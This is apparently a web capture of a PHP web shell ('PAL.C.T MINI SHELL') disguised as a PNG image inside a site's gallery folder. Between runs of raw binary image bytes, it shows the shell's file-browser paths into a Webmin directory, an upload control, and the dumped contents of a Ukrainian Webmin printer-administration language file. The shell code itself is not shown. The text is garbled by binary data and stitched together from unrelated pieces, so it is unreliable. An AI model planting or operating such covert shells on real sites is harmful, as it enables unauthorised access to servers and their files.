php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/lpadmin/lang/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/lpadmin/lang/uk

index_title=Керування принтерами
index_header=Доступні принтери
index_name=Принтер
index_desc=Опис
index_to=Куди друкує
index_driver=Драйвер
index_enabled=Печатка дозволена?
index_accepting=Приймає запити?
index_jobs=Завдання
index_none=У системі не встановлено жодного принтера
index_list=список..
index_jlist=завдання..
index_add=Додати новий принтер
index_stop=Зупинити службу печатки
index_stopmsg=Натискання на цю кнопку приведе до зупинки служби печатки. Жоден локальний чи вилучений користувач у вашій системі друкувати не зможе.
index_start=Запустити службу печатки
index_startmsg=Натискання на цю кнопку приведе до запуску служби печатки. Це дозволить друкувати локальним і вилученим користувачам вашої системи.
index_restart=Запустити знову службу печатки
index_restartmsg=Натискання на цю кнопку приведе до перезапуску служби печатки і вступу в дію поточної конфігурації.
index_return=списку принтерів

edit_eedit=У вас недостатньо правий для зміни цього принтера
edit_eadd=У вас недостатньо правий для додавання принтера
edit_add=Додавання принтера
edit_edit=Зміна принтера
edit_conf=Настроювання принтера
edit_name=Назва
edit_acc=Приймає запити?
edit_why=Немає - Чому?
edit_desc=Опис
edit_ena=Печатка дозволена?
edit_acl=Керування доступом
edit_allow=Дозволити всім
edit_deny=Заборонити всім
edit_allowu=Дозволити зазначеним користувачам..
edit_denyu=Заборонити зазначеним користувачам..
edit_banner=Друкувати заголовок?
edit_opt=Необов'язково
edit_default=Принтер за замовчуванням?
edit_already=Ужу є принтером за замовчуванням
edit_max=Максимальний розмір завдання для печатки
edit_unlimited=Не обмежено
edit_dacc=Драйвер приймає
edit_dtext=Текст
edit_dpost=Postscript
edit_dother=Інше
edit_alt=Альтернативні назви принтера
edit_dest=Куди друкувати
edit_dev=Локальний пристрій
edit_file=Локальний файл
edit_remote=Вилучений сервер Unix
edit_rqueue=Принтер
edit_type=Тип
edit_smb=Вилучений сервер Windows server
edit_share=Принтер
edit_user=Користувач
edit_pass=Пароль
edit_wgroup=Робоча група
edit_hpnp=Вилучений сервер HPNP
edit_port=Порт
edit_direct=Пряме з'єднання TCP
edit_dport=Порт
edit_driver=Драйвер принтера
edit_check=Перевіряти, чи доступний вилучений сервер?

blocks=блоків

save_err=Не удалося зберегти принтер
save_eadd=У вас недостатньо правий для додавання принтерів
save_eedit=У вас недостатньо правий для зміни цього принтера
save_ename='$1' не є вірним ім'ям принтера
save_edup=Принтер з ім'ям '$1' вже існує
save_eallow=Не зазначені користувачі, для яких доступ дозволений
save_edeny=Не зазначені користувачі, для яких доступ заборонений
save_euser=Користувач '$1' не існує
save_etype=Ви повинні вибрати як мінімум один тип, прийнятий цим драйвером
save_emax=Максимальний розмір завдання повинний бути цілим числом
save_efile='$1' не існує
save_erhost=Вилучений вузол '$1' не існує
save_erqueue='$1' не є вірним ім'ям вилученої черги
save_eremote=Для вилучених принтерів Unix не можна вказувати драйвери
save_edhost=Вилучений вузол '$1' не існує
save_edport=Порт чи не зазначений зазначений невірно

jobs_title=Завдання для печатки
jobs_header=Завдання для печатки на $1
jobs_id=ID завдання
jobs_size=Розмір
jobs_by=Ким додано
jobs_when=Коли додано
jobs_file=Ім'я файлу
jobs_cancel=Клацніть по ID завдання зі списку для скасування.
jobs_cancelview=Клацніть по ID завдання зі списку для чи скасування по розмірі завдання для перегляду.
jobs_none=Для $1 завдань немає
jobs_all=Скасувати всі завдання для печатки
jobs_bytes=байтів
jobs_test=Роздрукувати тестову сторінку

cancel_ecannot=У вас недостатньо правий для скасування завдань
cancel_err=Не удалося скасувати завдання для печатки
cancel_egone=Завдання $1 більш не існує

view_ecannot=Ви не можете переглянути це завдання
view_egone=Це завдання більш не існує

start_ecannot=У вас недостатньо правий для запуску служби печатки
start_err=Не удалося запустити службу печатки

stop_ecannot=У вас недостатньо правий для зупинки служби печатки
stop_err=Не удалося зупинити службу печатки

restart_ecannot=У вас недостатньо правий для перезапуску служби печатки
restart_err=Не удалося запустити знову службу печатки

webmin_none=Немає
webmin_nonemsg=Принтер Postscript чи текстовий принтер
webmin_remotemsg=Вилучений принтер
webmin_model=Модель
webmin_prog=Програма
webmin_driver=Драйвер Webmin
webmin_uniprint=Драйвер Uniprint
webmin_edrivers=Не удалося одержати драйвера від $1. Драйвера принтерів Webmin, що використовують ghostscript недоступні
webmin_egs=Команда $1 не виявлена. Драйвера принтерів Webmin, що використовують ghostscript недоступні
webmin_edriver='$1' не існує

caldera_none=Немає
caldera_nonemsg=Вилучений чи принтер принтер, що не обробляє дані
caldera_prog=Програма
caldera_coas=Драйвер COAS
caldera_printer=Принтер і дозвіл
caldera_eof=Посилати EOF?
caldera_paper=Розмір папера
caldera_double=Друкувати в подвоєному розмірі?
caldera_gsopts=Додаткові параметри GS
caldera_uniprint=Драйвер Uniprint
caldera_eprog='$1' не існує
caldera_edriver=Не обраний драйвер принтера
caldera_eres=Не обраний дозвіл

redhat_none=Немає
redhat_nonemsg=Принтер Postscript чи текстовий принтер
redhat_prog=Програма
redhat_driver=Драйвер Redhat
redhat_printer=Принтер і дозвіл
redhat_eof=Посилати EOF?
redhat_paper=Розмір папера
redhat_pages=Сторінок на одну сторінку, що друкується
redhat_gsopts=Додаткові параметри GS
redhat_hmargin=Права/ліва границя
redhat_vmargin=Верхня/нижня границя
redhat_crlf=Виправляти "драбинку"?
redhat_eprog='$1' не існує
redhat_edriver=Не обраний драйвер принтера
redhat_ehmargin=Права/ліва границя чи не зазначена зазначена невірно
redhat_evmargin=Верхня/нижня границя чи не зазначена зазначена невірно
redhat_eres=Не зазначений дозвіл
redhat_printer2=Модель принтера і драйвер

suse_none=Немає
suse_nonemsg=Принтер Postscript чи текстовий принтер
suse_prog=Програма
suse_driver=Драйвер APSfilter
suse_printer=Тип принтера
suse_res=Дозвіл крапок/дюйм (DPI)
suse_colour=Кольоровий принтер?
suse_paper=Розмір папера
suse_method=Спосіб фільтрування
suse_auto=Автоматично
suse_ascii=ASCII
suse_raw=Без обробки
suse_extra=Додаткові параметри ghostscript
suse_yast2=Драйвер YAST2
suse_edriver=Не обраний тип принтера
suse_eres=Дозвіл чи не зазначений зазначене невірно

estop=Не удалося зупинити lpd : $1

acl_printers=Принтери, що може налаштовувати цей користувач
acl_add=Може додавати нові принтери?
acl_cancel=Може скасовувати завдання для печатки?
acl_stop=Може запускати і зупиняти службу печатки?
acl_restart=Тільки перезапускати
acl_listed=Тільки для зазначених принтерів ..
acl_pall=Усіх принтерів
acl_psel=Обраних..
acl_view=Показувати принтери, що неналаштовуються?
acl_test=Може друкувати тестові сторінки?
acl_user=Керує завданнями для печатки
acl_user_all=Усіх користувачів
acl_user_this=Поточного користувача Webmin

log_stop=Служба печатки зупинена
log_start=Служба печатки запущена
log_restart=Служба печатки перезапущена
log_cancel_job=Скасоване завдання для печатки $2 на $1
log_cancel_all=Скасовані всі завдання для печатки на $1
log_create=Створений принтер $1 на $2
log_modify=Змінений принтер $1 на $2
log_delete=Вилучений принтер $1 на $2
log_create_l=Створений принтер $3 $1 на $2
log_modify_l=Змінений принтер $3 $1 на $2
log_delete_l=Вилучений принтер $3 $1 на $2

linux_paralel=Рівнобіжний порт $1
linux_serial=Послідовний порт $1 (COM$1)
linux_null=Порожній пристрій (null device)
linux_usb=Принтер USB $1

freebsd_paralel=Рівнобіжний порт
freebsd_serial=Послідовний порт $1 (COM$1)

openbsd_paralel=Рівнобіжний порт
openbsd_serial=Послідовний порт $1 (COM$1)

unixware_paralel=Рівнобіжний порт $1
unixware_serial=Послідовний порт $1
unixware_null=Порожній пристрій (null device)

hpux_paralel=Рівнобіжний $1
hpux_serial=Послідовний $1
hpux_null=Порожній пристрій (null device)

lprng_paralel=Рівнобіжний порт $1
lprng_serial=Послідовний порт $1 (COM$1)
lprng_null=Порожній пристрій (null device)

solaris_paralel=Рівнобіжний порт
solaris_uparalel=Рівнобіжний порт Ultra 5/10
solaris_serial=Послідовний порт $1
solaris_null=Порожній пристрій (null device)

test_title=Печатка тестової сторінки
test_ecannot=У вас недостатньо правий для печатки тестових сторінок
test_desc=Ви можете надрукувати на $1 тестову сторінку. Виберіть тип сторінки :
test_0=Чорно-білий Postscript
test_1=Кольоровий Postscript
test_2=Текст ASCII
test_3=Завантажений файл
test_print=Надрукувати сторінку
test_exec=Здійснюється печатка сторінки за допомогою команди $1 ..
test_failed=.. помилка при виконанні команди!
test_ok=.. команда успішно виконана.

cups_none=Немає
cups_nonemsg=Вилучений чи принтер принтер, що не обробляє дані
cups_prog=Програма
cups_driver=Драйвер CUPS
cups_eprog='$1' не є коректною програмою
cups_opts=Настроювання $1
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`